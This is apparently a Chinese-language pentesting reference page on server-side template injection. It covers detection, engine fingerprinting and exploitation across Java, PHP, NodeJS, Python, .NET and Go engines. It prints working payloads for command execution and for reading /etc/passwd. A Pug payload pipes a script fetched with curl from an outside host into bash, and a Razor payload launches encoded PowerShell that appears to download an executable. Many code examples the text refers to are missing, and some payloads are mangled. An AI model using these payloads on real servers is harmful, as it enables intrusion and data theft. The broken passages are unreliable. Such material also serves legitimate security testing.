SSTI(服务器端模板注入)
Server Side Template Injection
什么是服务器端模板注入?
当攻击者能够使用本地模板语法将恶意有效负载注入到模板中,并在服务器端执行时,就会发生服务器端模板注入。
模板引擎旨在通过将固定模板与易变数据结合起来生成网页。当用户输入直接连接到模板而不是作为数据传递时,就可能发生服务器端模板注入攻击。这使得攻击者能够注入任意模板指令以操纵模板引擎,通常使他们能够完全控制服务器。
以下是一个易受攻击的代码示例:
$output = $twig->render("Dear " . $_GET['name']);在前面的示例中,模板的一部分是使用GET参数name进行动态生成的。由于模板语法在服务器端进行评估,这可能允许攻击者将服务器端模板注入有效负载放置在name参数中,如下所示:
http://vulnerable-website.com/?name={{bad-stuff-here}}构建服务器端模板注入攻击

检测
与任何漏洞一样,利用漏洞的第一步是能够找到它。也许最简单的初始方法是通过注入一系列在模板表达式中常用的特殊字符来尝试模糊测试模板,例如多语言支持的${{<%[%'"}}%\。
为了检查服务器是否存在漏洞,您应该观察参数上的常规数据和给定的有效负载之间的差异。
如果抛出错误,很容易确定服务器存在漏洞,甚至可以确定正在运行的引擎。但是,如果您期望服务器反映给定的有效负载,但实际上没有反映或者响应中有一些缺失的字符,也可能发现存在漏洞的服务器。
检测 - 明文上下文
给定的输入被渲染和反映到响应中。这很容易被误认为是一个简单的XSS漏洞,但如果您尝试在模板表达式中设置数学运算,就很容易区分出来:
检测 - 代码上下文
在这些情况下,用户输入被放置在模板表达式中:
访问该页面的URL可能类似于:http://vulnerable-website.com/?greeting=data.username
如果你改变了**greeting参数的值,响应中将不包含用户名,但是如果你访问类似于:http://vulnerable-website.com/?greeting=data.username}}hello,响应将包含用户名(如果闭合模板表达式字符为}})。
如果在这些测试过程中出现错误**,将更容易发现服务器存在漏洞。
识别
一旦你发现了模板注入的潜力,下一步是识别模板引擎。 尽管有大量的模板语言,但其中许多使用非常相似的语法,这些语法被特意选择为不与HTML字符冲突。
如果你很幸运,服务器将打印错误,你将能够在错误信息中找到使用的引擎。一些可能导致错误的有效载荷如下:
${}
{{}}
<%= %>
${7/0}
{{7/0}}
<%= 7/0 %>
${foobar}
{{foobar}}
<%= foobar %>
${7*7}
{{7*7}}
``
否则,你需要手动测试不同的语言特定有效载荷,并研究它们如何被模板引擎解释。一种常见的方法是使用不同模板引擎的语法注入任意数学运算,然后观察它们是否成功计算。为了帮助这个过程,你可以使用类似下面的决策树:

利用
读取
在发现模板注入并识别模板引擎后,第一步是阅读文档。感兴趣的关键领域包括:
涵盖基本语法的“为模板作者”部分。
“安全注意事项” - 很有可能你正在测试的应用程序的开发者没有阅读这个部分,它可能包含一些有用的提示。
内置方法、函数、过滤器和变量的列表。
扩展/插件的列表 - 有些可能默认启用。
探索
假设没有发现任何漏洞,下一步是探索环境,找出你可以访问的内容。你可以期望找到模板引擎提供的默认对象和开发者通过模板传递给模板的应用程序特定对象。许多模板系统公开了一个包含作用域中所有内容的“self”或命名空间对象,以及列出对象属性和方法的惯用方式。
如果没有内置的self对象,你将不得不使用SecLists和Burp Intruder的单词列表集合来暴力破解变量名。
开发者提供的对象特别可能包含敏感信息,并且可能因应用程序中的不同模板而异,因此这个过程最好逐个独立应用于每个不同的模板。
攻击
此时,你应该对可攻击的攻击面有一个明确的了解,并能够继续使用传统的安全审计技术,审查每个函数是否存在可利用的漏洞。重要的是要将这个过程放在更广泛的应用程序上下文中进行 - 一些函数可以用于利用应用程序特定功能。接下来的示例将使用模板注入来触发任意对象创建、任意文件读取/写入、远程文件包含、信息泄露和权限提升漏洞。
工具
漏洞利用
通用
在这个字典中,你可以找到下面提到的一些引擎环境中定义的变量:
Java
Java - 基本注入
Java - 获取系统环境变量
在Java中,可以使用System.getenv()方法来检索系统的环境变量。该方法返回一个Map对象,其中包含了所有的环境变量及其对应的值。
以下是一个示例代码,演示如何使用System.getenv()方法来检索系统的环境变量:
运行以上代码,将会输出系统的所有环境变量及其对应的值。
Java - 获取 /etc/passwd 文件
在某些情况下,当服务器端模板注入(Server-Side Template Injection,SSTI)漏洞存在时,可以利用Java语言来检索服务器上的 /etc/passwd 文件。以下是一种可能的方法:
请注意,这种方法仅适用于存在SSTI漏洞的情况,并且需要具有执行命令的权限。在实际渗透测试中,应该遵循法律和道德规范,并获得合法的授权。
FreeMarker (Java)
您可以在https://try.freemarker.apache.org上尝试您的有效载荷
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} 无效${foobar}
Freemarker - 沙盒绕过
⚠️ 仅适用于Freemarker版本低于2.3.30
更多信息
Velocity (Java)
更多信息
Thymeleaf(Java)
SSTI的典型测试表达式是${7*7}。这个表达式在Thymeleaf中也适用。如果你想实现远程代码执行,可以使用以下测试表达式之一:
SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
然而,正如我们之前提到的,表达式只在特殊的Thymeleaf属性中起作用。如果需要在模板的其他位置使用表达式,Thymeleaf支持_表达式内联_。要使用此功能,必须将表达式放在[[...]]或[(...)]中(根据是否需要转义特殊符号选择其中之一)。因此,Thymeleaf的一个简单的SSTI检测载荷将是[[${7*7}]]。
然而,上述检测载荷能够起作用的机会非常低。SSTI漏洞通常发生在代码中动态生成模板的情况下。默认情况下,Thymeleaf不允许这样的动态生成模板,所有模板必须事先创建好。因此,如果开发人员想要从字符串中动态创建模板,他们需要创建自己的TemplateResolver。这是可能的,但非常罕见。
如果我们深入研究Thymeleaf模板引擎的文档,我们会发现一个有趣的功能,称为_表达式预处理_。放置在双下划线(__...__)之间的表达式将被预处理,并且预处理的结果将作为表达式的一部分在常规处理过程中使用。这是Thymeleaf文档中的一个官方示例:
易受攻击的示例
这个易受攻击的示例演示了Flask Web应用程序中的服务器端模板注入(SSTI)漏洞。该应用程序从查询字符串中获取用户提供的参数名称,并使用render_template_string函数直接在模板中渲染。
攻击者可以通过在name参数中注入恶意模板代码来利用此漏洞。由于模板代码是在服务器端执行的,攻击者可以执行任意代码,并可能未经授权访问敏感信息或执行其他恶意操作。
为了利用此漏洞,攻击者可以制作一个包含模板代码的有效负载,以执行任意命令或访问服务器端资源。例如,以下有效负载可用于执行ls命令并检索目录列表:
在此有效负载中,名称参数设置为{{ ''.class.mro[2].subclasses()40.listdir('.') }},它从os模块中检索listdir方法,并以当前目录作为参数执行。
为了缓解SSTI漏洞,在模板中使用用户提供的输入之前,必须对其进行正确验证和清理。此外,使用自动转义用户输入的模板引擎可以帮助防止模板注入攻击。
更多信息
Spring Framework(Java)
绕过过滤器
如果${...}不起作用,可以尝试使用#{...}、*{...}、@{...}或~{...}来使用多个变量表达式。
读取
/etc/passwd文件
用于生成payload的自定义脚本
使用自定义脚本生成payload的方法如下:
更多信息
Spring视图操纵(Java)
Pebble(Java)
{{ someString.toUPPERCASE() }}
Pebble的旧版本(< 3.0.9):
Pebble的新版本:
Jinjava(Java)
Jinjava是一个基于Java的模板引擎,允许服务器端模板注入(SSTI)攻击。它通常用于使用Spring Boot等Java框架构建的Web应用程序中。
Exploiting Jinjava SSTI
要利用Jinjava SSTI,您需要在应用程序中确定用户提供的输入直接包含在模板中的注入点。这通常可以在应用程序动态生成HTML或其他类型文档的地方找到。
一旦您确定了注入点,您就可以制作一个有效负载,该有效负载将作为Jinjava代码执行。此有效负载可以包括Jinjava表达式、过滤器和函数,以操作模板并在服务器上执行任意代码。
Payload 示例
以下是一些可用于利用Jinjava SSTI的有效负载示例:
Basic Payload:
${7*7}- 此payload执行表达式7*7并返回结果 (49).Command Execution:
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("ls")}- 此payload将在服务器上执行ls命令并返回输出。File Read:
${"".getClass().forName("java.nio.file.Files").readAllBytes(java.nio.file.Paths.get("/etc/passwd"))}- 此payload将读取服务器上/etc/passwd文件的内容并返回它们。
Mitigation
为了缓解Jinjava SSTI攻击,在将用户输入包含在模板中之前,必须对其进行正确验证和消毒。输入验证应包括检查可用于注入Jinjava代码的恶意字符和模式。
此外,建议使用内置针对SSTI攻击的安全模板引擎。
Jinjava是由Hubspot开发的开源项目,可在https://github.com/HubSpot/jinjava/上找到。
Jinjava - 命令执行
修复链接:https://github.com/HubSpot/jinjava/pull/230
更多信息
Hubspot - HuBL (Java)
{% %}语句分隔符{{ }}表达式分隔符{# #}注释分隔符{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- "A"{{'a'.concat('b')}}- "ab"{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 Jinjava 项目在 Github 上的链接。
更多信息
表达式语言 - EL (Java)
${"aaaa"}- "aaaa"${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
EL为启用表示层(网页)与应用逻辑(托管的bean)之间的通信提供了重要机制。EL被多个JavaEE技术使用,例如JavaServer Faces技术、JavaServer Pages(JSP)技术和Java EE的上下文和依赖注入(CDI)
Groovy (Java)
此安全管理器绕过方法来自于这个解析。
Smarty (PHP)
更多信息
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
Twig - 模板格式
Twig是一个流行的模板引擎,用于许多Web应用程序,包括Symfony框架。它提供了一种灵活和安全的方式在模板中渲染动态内容。
Twig模板以类似于HTML的语法编写,但具有特定于Twig的其他功能和标签。这些功能包括变量、过滤器、函数、控制结构和模板继承。
树枝中的变量用双花括号括起来,如{{ variable }}。它们可以保存任何类型的数据,如字符串、数字、数组或对象。可以使用过滤器和函数访问和操作变量。
Twig中的过滤器用于修改变量的输出。它们使用管道字符(|)后跟过滤器名称和任何其他参数来应用。例如,{{ variable | filter(argument) }}。
Twig中的功能类似于过滤器,但它们用于执行更复杂的操作。使用函数名后跟括号和任何参数调用它们。例如,{{ function(argument) }}
Twig中的控制结构允许您执行条件和迭代操作。这些包括if语句、for循环和foreach循环。它们使用特殊标签编写,例如`
`.
Twig中的模板继承允许您创建一个可以由其他模板扩展的基础模板。这对于在多个页面中重复使用常见元素非常有用。基本模板定义了可以在子模板中覆盖的块。
总体而言,Twig提供了一种强大而安全的方式来在Web应用程序中创建动态模板。然而,重要的是要意识到与服务器端模板注入(SSTI)漏洞相关的潜在安全风险,该漏洞可能允许攻击者在服务器上执行任意代码。
.
更多信息
Plates(PHP)
Plates受到Twig的启发,但是是一个原生的PHP模板引擎,而不是编译模板引擎。
控制器:
:
上面的代码代表了网站的基本页面模板。它包括带有标题、标题和段落的HTML结构。您可以根据您的要求修改此模板。
布局模板:
模板布局:
PHPlib和HTML_Template_PHPLIB(PHP)
HTML_Template_PHPLIB与PHPlib相同,但已移植到Pear。
authors.tpl
SSTI (Server-Side Template Injection)
服务器端模板注入(SSTI)是一个漏洞,允许攻击者向服务器端模板注入恶意代码,然后由服务器执行。这可能会导致远程代码执行(RCE)和其他严重的安全问题。
在authors.php中利用SSTI
authors.php中利用SSTI 在authors.php文件中,可能存在一个允许SSTI的漏洞。通过向服务器端模板注入恶意代码,可以利用此漏洞。
要利用此漏洞,请按照以下步骤操作:
识别注入点:查找直接在模板引擎中使用的用户控制输入。这可以包括变量、函数调用或其他模板构造。
制作payload:创建一个将在服务器上执行任意代码的有效负载。这可以通过注入将由模板引擎执行的代码来完成。
测试payload:将有效载荷注入易受攻击的输入,并观察服务器的响应。如果执行了有效负载,并且服务器的响应包括预期输出,则该漏洞已被成功利用。
利用漏洞:一旦漏洞得到确认,攻击者可以继续进一步利用它。这可能包括执行任意命令,访问敏感信息,甚至远程访问服务器。
Prevention and Mitigation 预防和缓解
为了防止SSTI漏洞,遵循安全的编码实践很重要:
输入验证和清理:在模板引擎中使用之前,请务必验证和清理用户输入。这可以帮助防止恶意代码被注入。
使用安全模板引擎:选择一个具有内置安全功能的模板引擎,例如自动转义用户输入。这可以帮助减轻SSTI漏洞的影响。
保持软件最新状态:定期更新应用程序中使用的软件和库,以确保修补任何已知的漏洞。
实施严格的访问控制:限制服务器端模板引擎的权限,以尽量减少SSTI漏洞的潜在影响。
通过遵循这些最佳实践,您可以降低SSTI漏洞的风险,并保护您的应用程序免受潜在攻击。
Jade(NodeJS)
Jade是一个基于NodeJS的模板引擎,用于生成HTML。它使用简洁的语法和缩进来创建模板,然后将其编译为HTML。Jade模板可以包含动态内容和表达式,使其具有强大的灵活性。
检测SSTI漏洞
要检测Jade模板中的SSTI漏洞,可以尝试在模板中插入恶意代码,并查看是否能够执行。以下是一些常见的注入点:
属性值:尝试在属性值中插入恶意代码,例如
<img src="x" onerror="alert('XSS')">。文本内容:尝试在文本内容中插入恶意代码,例如
<script>alert('XSS')</script>。表达式:尝试在表达式中插入恶意代码,例如
#{7*7}。
防御措施
要防止SSTI漏洞,可以采取以下措施:
输入验证和过滤:对用户输入进行验证和过滤,确保只接受预期的输入。
模板沙盒化:将模板引擎配置为运行在沙盒环境中,限制其访问敏感资源。
模板白名单:限制可用的模板标签和函数,只允许使用安全的选项。
输入编码:对用户输入进行适当的编码,以防止注入攻击。
漏洞利用
如果成功利用了SSTI漏洞,攻击者可以执行任意代码,包括读取敏感数据、执行系统命令等。因此,及时修复和防止SSTI漏洞非常重要。
更多信息
patTemplate (PHP)
patTemplate 是一个非编译的PHP模板引擎,使用XML标签将文档分成不同的部分。
Handlebars (NodeJS)
路径遍历(更多信息在这里)。
= 错误
${7*7} = ${7*7}
无
更多信息
JsRender(NodeJS)
模板
描述
评估和渲染输出
评估和渲染HTML编码的输出
注释
和
允许代码(默认禁用)
= 49
客户端
服务器端
更多信息
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
服务器端渲染示例
更多信息
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = 没有输出
#{7*7} = #{7*7}
{{console.log(1)}} = 错误
更多信息
ERB(Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
更多信息
Slim (Ruby)
{ 7 * 7 }
更多信息
Python
查看以下页面以了解有关在Python中绕过沙箱的任意命令执行技巧:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
更多信息
Jinja2(Python)
Jinja2是一个功能齐全的Python模板引擎。它具有完全的Unicode支持,可选的集成沙箱执行环境,被广泛使用并且使用BSD许可证。
{{7*7}} = 错误${7*7} = ${7*7}{{foobar}} 无结果{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - 模板格式
Jinja2是一种流行的Python模板引擎,常用于Web应用程序中的服务器端模板渲染。它具有简洁的语法和强大的功能,使开发人员能够轻松地生成动态内容。
Jinja2模板使用双大括号{{ }}来表示变量,并使用{% %}来表示控制流语句,如条件语句和循环语句。以下是一些常见的Jinja2模板语法示例:
变量插值:
{{ variable }}控制流语句:
<div data-gb-custom-block data-tag="if"> ... </div>循环语句:
<div data-gb-custom-block data-tag="for"> ... </div>过滤器:
{{ variable | filter }}
Jinja2模板还支持嵌套和继承,使开发人员能够构建复杂的模板结构。
服务器端模板注入(SSTI)
服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者在服务器端模板中执行恶意代码。攻击者可以通过注入恶意模板代码来执行任意命令、访问敏感数据或完全控制服务器。
SSTI漏洞通常发生在未正确过滤或验证用户输入的情况下。攻击者可以通过在用户输入中注入Jinja2模板代码来利用这种漏洞。
利用SSTI漏洞
要利用SSTI漏洞,攻击者需要找到一个接受用户输入并将其作为模板渲染的漏洞点。然后,攻击者可以通过注入恶意的Jinja2模板代码来执行任意命令或访问敏感数据。
以下是一些常见的SSTI漏洞利用技巧:
执行命令:通过注入
{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['os'].<command> }}来执行系统命令。访问敏感数据:通过注入
{{ config.items() }}来访问应用程序的配置信息。控制流语句绕过:通过注入
{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['__builtins__']['<function>'](<arguments>) }}来绕过控制流语句的限制。
防御SSTI漏洞
要防御SSTI漏洞,开发人员应该始终对用户输入进行严格的过滤和验证。以下是一些防御措施:
使用白名单过滤:只允许特定的安全模板标签和过滤器。
输入验证:对用户输入进行验证,确保其符合预期的格式和类型。
模板沙箱:将模板渲染限制在安全的沙箱环境中,以防止恶意代码执行。
通过采取这些防御措施,可以有效减少SSTI漏洞的风险,并提高应用程序的安全性。
不依赖 __builtins__ 的 RCE(远程代码执行):
关于如何滥用Jinja的更多细节:
Mako(Python)
Razor (.Net)
@(2+2) <= 成功@() <= 成功@("{{code}}") <= 成功@ <= 成功@{} <= 错误!@{ <= 错误!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET的System.Diagnostics.Process.Start方法可用于在服务器上启动任何进程,从而创建一个Webshell。您可以在https://github.com/cnotin/RazorVulnerableApp中找到一个易受攻击的Web应用程序示例。
更多信息
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= 无<%= response.write(date()) %>= <Date>
更多信息
Mojolicious(Perl)
即使是Perl,它也使用类似Ruby中的ERB标签。
<%= 7*7 %> = 49<%= foobar %> = Error
GO中的SSTI
确认后端使用的模板引擎是Go的方法是使用以下有效载荷:
{{ . }}= 作为输入传递给模板的数据结构如果传递的数据是一个包含属性Password的对象,前面的有效载荷将泄露它,但你也可以这样做:
{{ .Password }}{{printf "%s" "ssti" }}= 应该在响应中输出字符串ssti{{html "ssti"}},{{js "ssti"}}= 这些是一些其他有效载荷,应该输出字符串"ssti",而不带有尾随的单词"js"或"html"。你可以在这里查看引擎中的更多关键字。
XSS利用
如果服务器使用的是text/template包,通过将有效载荷作为输入提供,很容易实现XSS。然而,如果使用的是html/template,它会对响应进行HTML编码:{{"<script>alert(1)</script>"}} --> <script>alert(1)</script>
然而,Go允许定义一个完整的模板,然后稍后调用它。有效载荷将类似于:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
RCE利用
html/template模块的文档可以在这里找到,text/template模块的文档可以在这里找到,是的,它们确实有很大的差异。例如,在text/template中,你可以使用“call”值直接调用任何公共函数,但在html/template中不是这样。
如果你想通过SSTI在Go中找到一个RCE,你应该知道,你可以使用{{ . }}访问模板中给定的对象,你也可以调用对象的方法。因此,假设传递的对象有一个名为System的方法来执行给定的命令,你可以使用以下方式滥用它:{{ .System "ls" }}
因此,你可能需要源代码。类似于这样的潜在源代码将如下所示:
更多信息
更多利用
查看https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection中的其他利用。您还可以在https://github.com/DiogoMRSilva/websitesVulnerableToSSTI中找到有趣的标签信息。
BlackHat PDF
相关帮助
如果您认为有用,请阅读:
Flask技巧
工具
暴力破解检测列表
练习和参考
最后更新于
这有帮助吗?